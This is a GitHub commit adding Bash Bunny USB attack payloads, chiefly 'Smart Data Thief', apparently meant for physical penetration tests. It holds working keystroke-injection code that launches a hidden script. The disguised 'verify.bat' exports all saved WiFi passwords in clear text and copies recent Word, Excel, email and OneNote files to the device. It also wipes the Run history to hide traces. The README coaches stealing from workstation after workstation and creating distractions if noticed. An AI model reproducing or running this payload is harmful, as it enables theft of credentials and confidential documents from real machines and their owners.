New Exfiltration Payload: Smart Data Thief (#453)

* Exfiltrate using Windows utility SmartFileExtract

Script to find all files that a) have filenames with the word "pass" or "secret" in them or b) are standard .DOC files and copy them to loot. SmartFileExtract is used to kill the copy after 500 MBs and / or 90 seconds and will display the copy status using a fake install window.

Dependencies:
Binary (SmartFileExtract.exe) from https://github.com/saintcrossbow/SmartFileExtract

* New Exfiltration: Smart Data Thief

Timed exfiltration attack targeting high value data and WiFi creds. Highly configurable to start / stop attack using BLE beacons, create distraction when aborting attack, and full shutdown for removal after attack complete.

* Revolver BLE controlled multi-attack

New payload: Revolver - a multi option attack controlled by BLE beacons. Plug in Bash Bunny and choose your attack based on what you need in the field.
This commit is contained in:
saintcrossbow
2021-12-21 18:11:50 -05:00
committed by GitHub
parent 9e54726597
commit bb601883ef
5 changed files with 463 additions and 0 deletions

View File

@@ -0,0 +1,109 @@
# Title: Smart Data Thief
# Description: Exfiltrates high value files from documents / desktop, gets all WiFi keys, shuts down after configurable
# time, may be triggered to start and / or stop by BLE, offers optional distraction on shutdown
# Author: saintcrossbow
# Props: Hak5Darren
# Version: 1.0
# Category: Exfiltration
# Target: Windows 10 with minimum powershell usage
# Attackmodes: HID, Storage
# Full Description
# ----------------
# The perfect versatile data thief with multiple configurations to tailor attacks towards an engagement. Attack is timed
# so you'll know exactly how much time you have with each target. See the configuraton section for modifications.
#
# Payload targets the following from the workstation:
# - All WiFi creds
# - The past 30 days in both Desktop and Documents
# - All Word docs, Excel spreadsheets, loose email files (*.msg), text files, and OneNote notebooks
#
# * Note: All bluetooth monitoring based on Hak5Darren's methods already present on the Bash Bunny
# Files
# -----
# - payload.txt: Starts and monitors the attack. All configuration contained in this file.
# - verify.bat: Run the file exfiltration. You may configure the target files in this batch file. Of course, it really doesn't
# verify anything it is just called that because it is "in disguise"
# Setup
# -----
# - Place the payload.txt and verify.bat on either switch directory
# - If you are using a SD card, copy verify.bat under /payloads/switchn/ (where n is the switch you are running)
# - Good idea to have the Bash Bunny ready to copy to either the device or SD for maximum versatility
# LEDs
# ----
# Magenta: Initial setup about 1 3 seconds
# Slow 1 second yellow on and off: Waiting for start mission trigger by BLE
# Single yellow blink: Attack in progress
# Green rapid flash, then solid, then off: Attack complete Bash Bunny may be removed
# Options
# -------
# Name of Bash Bunny volume that appears to Windows (BashBunny is default)
BB_NAME="BashBunny"
# Total time allocated for the attack, after which the Bash Bunny will shutdown
EJECT_TIME=30
# BLE ID to stop attack immediately and go to shutdown
ABORT_MISSION="QSTOP"
# Flash a bunch of windows and lock PC if ABORT mission received
DISTRACT_ON_ABORT=false
# Do we wait for a start trigger? And what is it?
WAIT_FOR_TRIGGER=false
START_MISSION="QSTART"
# Setup
# -----
LED SETUP
# Start bluetooth for observation
source bunny_helpers.sh
stty -F /dev/ttyS1 speed 115200 cs8 -cstopb -parenb -echo -ixon -icanon -opost
stty -F /dev/ttyS1 speed 115200 cs8 -cstopb -parenb -echo -ixon -icanon -opost
sleep 1
echo -n -e "AT+ROLE=2" > /dev/ttyS1
echo -n -e "AT+RESET" > /dev/ttyS1
# Wait for "button job" if desired
if $WAIT_FOR_TRIGGER; then
CUCUMBER ENABLE
LED Y SLOW
WAIT_FOR_PRESENT $START_MISSION
fi
# Attack
# ------
CUCUMBER DISABLE
ATTACKMODE HID STORAGE
Q DELAY 1000
LED ATTACK
Q DELAY 100
Q GUI r
Q DELAY 100
Q STRING cmd.exe /c start /min powershell ".((gwmi win32_volume -f 'label=''$BB_NAME''').Name+'payloads\\$SWITCH_POSITION\verify.bat')"
Q ENTER
# Variation on the WAIT_FOR_PRESENT method so we can delay as well as observe BLE
for (( c=1; c<=$EJECT_TIME; c++ ))
do
timeout 1s cat /dev/ttyS1 > /tmp/bt_observation
if grep -ao $ABORT_MISSION /tmp/bt_observation; then
if $DISTRACT_ON_ABORT; then
for i in {1..5}
do
Q GUI d
Q DELAY 200
done
Q GUI l
fi
break
fi
done
sync
LED FINISH
Q DELAY 1500
shutdown now

View File

@@ -0,0 +1,54 @@
## Smart Data Thief
Make your Bash Bunny into the perfect data thief. This payload is ideal for demonstrating the need to lock workstations: using it, you can stroll through a facility and steal critical information from PC after PC. The attack is highly configurable with the following options:
- Copies are timed to be as fast or as long as you want. Youll know
exactly how long you have per workstation, and also know you can
remove the Bash Bunny safely once it the time expires
- The copy may be configured to stop when a secret BLE beacon is sent
the Bash Bunny will shut down for immediate removal.
- Concerned that someone might see the attack? Configure the payload to
flash windows and suddenly lock before shutting down the Bash Bunny,
which gives the payload time to clean up its tracks while you make
appropriate excuses.
- Want to trigger the payload from afar? Make the attack a “button job”
the Bash Bunny will take advantage of Cool Cucumber CPU usage while
waiting for the secret BLE beacon.
The payload may be used with or without a SD card and places loot in a folder with the computers name. Additionally it targets the most likely high-value targets on a workstation, and only those that have been updated in past 30 days however feel free to tailor parameters to your unique pentest situation.
**Targets**
1. All WiFi creds used by the workstation
2. The past 30 days in both Desktop and Documents for:
- Word docs
- Excel spreadsheets
- Loose email files (*.msg)
- Text files
- OneNote notebooks
**Files Used**
- payload.txt: Starts and monitors the attack. All configuration constants are contained in this file.
- verify.bat: Runs the file exfiltration. You may configure the target files in this batch file. Of course, it really doesn't verify anything it is just called that because it is "in disguise"
**Setup**
1. Place the payload.txt and verify.bat on either switch directory
2. If you are using a SD card, copy verify.bat to /payloads/switch*n*/ (where *n* is the switch you are running)
3. For maximum versatility, place verify.bat in both locations
**Payload Configuration**
Change any of the constants below to match your mission parameters:
- BB_NAME: Make sure you have the right Bash Bunny name in this constant
- EJECT_TIME: Total time allocated for the attack, after which the Bash Bunny will shutdown
- ABORT_MISSION: Specify what BLE beacon will stop the attack - the payload will check every second for the beacon
- DISTRACT_ON_ABORT: If the payload is stopped by the BLE beacon, it will also flash a bunch of windows and lock the PC before shutting down to cause a distraction.
- WAIT_FOR_TRIGGER: Dont start the attack immediately but wait for the BLE beacon.
- START_MISSION: The BLE beacon that will remotely start the attack. Make sure WAIT_FOR_TRIGGER is set to true.
**LED meanings**
- Magenta: Initial setup about 1 3 seconds
- Slow 1 second yellow on and off: Waiting for start mission trigger to be sent by BLE
- Single yellow blink: Attack in progress
- Green rapid flash, then solid, then off: Attack complete Bash Bunny may be removed

View File

@@ -0,0 +1,14 @@
@echo off
cd /d %~dp0
mkdir \loot\WiFiCreds\%COMPUTERNAME%
cd \loot\WiFiCreds\%COMPUTERNAME%
netsh wlan export profile key=clear
timeout 1
mkdir \loot\DriveLast30\%COMPUTERNAME%
cd \loot\DriveLast30\%COMPUTERNAME%
robocopy %userprofile%\Documents\ . *.doc* *.xls* *.msg *.txt *.one /S /J /MT /MAXAGE:30 /MAX:4000000 /R:0 /np /nfl
robocopy %userprofile%\Desktop\ . *.doc* *.xls* *.msg *.txt *.one /S /J /MT /MAXAGE:30 /MAX:4000000 /R:0 /np /nfl
REG DELETE HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Explorer\RunMRU /f
timeout 1
exit